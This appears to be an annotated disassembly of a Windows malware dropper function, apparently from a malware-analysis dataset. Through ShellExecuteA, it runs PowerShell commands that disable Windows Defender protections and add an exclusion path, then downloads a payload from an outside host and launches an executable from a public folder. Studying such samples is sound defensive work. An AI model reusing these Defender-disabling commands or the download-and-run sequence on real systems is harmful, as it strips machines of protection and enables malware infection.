Function at 0x401d00
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x56b676
mov eax, dword fs:[0]
push eax
sub esp, 0x90
mov eax, dword [0x5c5b14]
xor eax, esp
mov dword [esp + 0x88], eax
push ebx
push esi
push edi
mov eax, dword [0x5c5b14]
xor eax, esp
push eax
lea eax, [esp + 0xa0]
mov dword fs:[0], eax
mov ebx, dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor esi, esi
push esi
push esi
push str.Set_ExecutionPolicy_Unrestricted
push str.powershell.exe
push str.open
push esi
call ebx
push esi
push esi
push str.Set_MpPreference__DisableRealtimeMonitoring__true
push str.powershell.exe
push str.open
push esi
call ebx
push esi
push esi
push str.Set_MpPreference__DisableBehaviorMonitoring___true
push str.powershell.exe
push str.open
push esi
call ebx
push esi
push esi
push str.Set_MpPreference__DisableBlockAtFirstSeen___true
push str.powershell.exe
push str.open
push esi
call ebx
push esi
push esi
push str.Set_MpPreference__DisableIOAVProtection___true
push str.powershell.exe
push str.open
push esi
call ebx
push esi
push esi
push str.Set_MpPreference__DisablePrivacyMode___true
push str.powershell.exe
push str.open
push esi
call ebx
push esi
push esi
push str.Set_MpPreference__MAPSReporting_0
push str.powershell.exe
push str.open
push esi
call ebx
push esi
push esi
push str.Set_MpPreference__SubmitSamplesConsent_2
push str.powershell.exe
push str.open
push esi
call ebx
push esi
push esi
push str.Set_MpPreference__HighThreatDefaultAction_6__Force
push str.powershell.exe
push str.open
push esi
call ebx
push esi
push esi
push str.Set_MpPreference__ModerateThreatDefaultAction_6
push str.powershell.exe
push str.open
push esi
call ebx
push esi
push esi
push str.Set_MpPreference__LowThreatDefaultAction_6
push str.powershell.exe
push str.open
push esi
call ebx
push esi
push esi
push str.Set_MpPreference__SevereThreatDefaultAction_6
push str.powershell.exe
push str.open
push esi
call ebx
push esi
push esi
push str.Add_MpPreference__ExclusionPath_C:UsersPublicBitTorrent__Force
push str.powershell.exe
push str.open
push esi
call ebx
mov eax, 0xf
mov dword [esp + 0x14], vtable.CDownloader.0
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
mov byte [esp + 0x20], 0
mov dword [esp + 0x38], eax
mov dword [esp + 0x34], esi
mov byte [esp + 0x24], 0
mov dword [esp + 0x54], eax
mov dword [esp + 0x50], esi
mov byte [esp + 0x40], 0
mov dword [esp + 0xa8], 1
mov dword [esp + 0x90], eax
mov eax, str.C:UsersPublicMusicen.dat
mov dword [esp + 0x8c], esi
mov byte [esp + 0x7c], 0
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401ea6
sub eax, esi
mov edi, eax
mov eax, str.C:UsersPublicMusicen.dat
lea esi, [esp + 0x7c]
call fcn.00401140
mov byte [esp + 0xa8], 2
mov eax, str.http:__download.linuxroot.site_download_3153.dat
mov dword [esp + 0x74], 0xf
mov dword [esp + 0x70], 0
mov byte [esp + 0x60], 0
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401ee4
sub eax, esi
mov edi, eax
mov eax, str.http:__download.linuxroot.site_download_3153.dat
lea esi, [esp + 0x60]
call fcn.00401140
xor edi, edi
mov byte [esp + 0xa8], 3
cmp dword [esp + 0x70], edi
je 0x401fdd
cmp byte [esp + 0x20], 1
je 0x401fdd
mov eax, dword [esp + 0x1c]
cmp eax, edi
je 0x401f31
push eax
call fcn.0054476e
add esp, 4
mov dword [esp + 0x1c], edi
mov eax, dword [esp + 0x18]
cmp eax, edi
je 0x401f4b
push eax
call fcn.0040ae50
add esp, 4
mov dword [esp + 0x18], edi
call fcn.0040abb0
xor edi, edi
mov eax, 0x5a23c4
lea esi, [esp + 0x24]
call fcn.00401140
mov eax, 0x5a23c4
lea esi, [esp + 0x40]
call fcn.00401140
lea eax, [esp + 0x60]
push eax
or eax, 0xffffffff
xor ebx, ebx
lea ecx, [esp + 0x28]
call fcn.00401210
lea ecx, [esp + 0x7c]
push ecx
or eax, 0xffffffff
mov ecx, esi
call fcn.00401210
call fcn.0040ac00
mov dword [esp + 0x18], eax
test eax, eax
je 0x401fd5
lea esi, [esp + 0x14]
call fcn.00404140
cmp dword [esp + 0x54], 0x10
mov eax, dword [esp + 0x40]
jae 0x401fb0
lea eax, [esp + 0x40]
push 0x5a1ff0
push eax
call fcn.00544184
mov ebx, dword [sym.imp.SHELL32.dll_ShellExecuteA]
add esp, 8
xor edi, edi
mov dword [esp + 0x1c], eax
test eax, eax
je 0x401fdd
mov byte [esp + 0x20], 1
jmp 0x401fdd
mov ebx, dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edi, edi
mov esi, 0x10
mov byte [esp + 0xa8], 2
cmp dword [esp + 0x74], esi
jb 0x401ffd
mov edx, dword [esp + 0x60]
push edx
call fcn.00443a36
add esp, 4
mov byte [esp + 0xa8], 1
mov dword [esp + 0x74], 0xf
mov dword [esp + 0x70], edi
mov byte [esp + 0x60], 0
cmp dword [esp + 0x90], esi
jb 0x40202c
mov eax, dword [esp + 0x7c]
push eax
call fcn.00443a36
add esp, 4
mov ecx, dword [esp + 0x18]
push ecx
call fcn.0040ae30
mov esi, eax
mov eax, dword [esp + 0x20]
add esp, 4
cmp eax, edi
je 0x402050
push eax
call fcn.0054476e
add esp, 4
mov dword [esp + 0x1c], edi
cmp esi, edi
jne 0x40206f
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x10]
push edx
push 0x200002
push eax
mov dword [esp + 0x1c], edi
call fcn.0040ae70
add esp, 0xc
call fcn.00401a60
call fcn.00401af0
mov eax, str.BitTorrentEvernoteMouseTray.exe
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402080
mov edi, str.C:UsersPublicPictures
sub eax, esi
dec edi
nop
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402090
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 5
push 0
push 0x5a23c4
push str.C:UsersPublicPictures
mov ecx, eax
push str.open
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
call ebx
lea ecx, [esp + 0x14]
mov dword [esp + 0xa8], 0xffffffff
call fcn.00403fa0
xor eax, eax
mov ecx, dword [esp + 0xa0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x88]
xor ecx, esp
call fcn.005434c7
mov esp, ebp
pop ebp
ret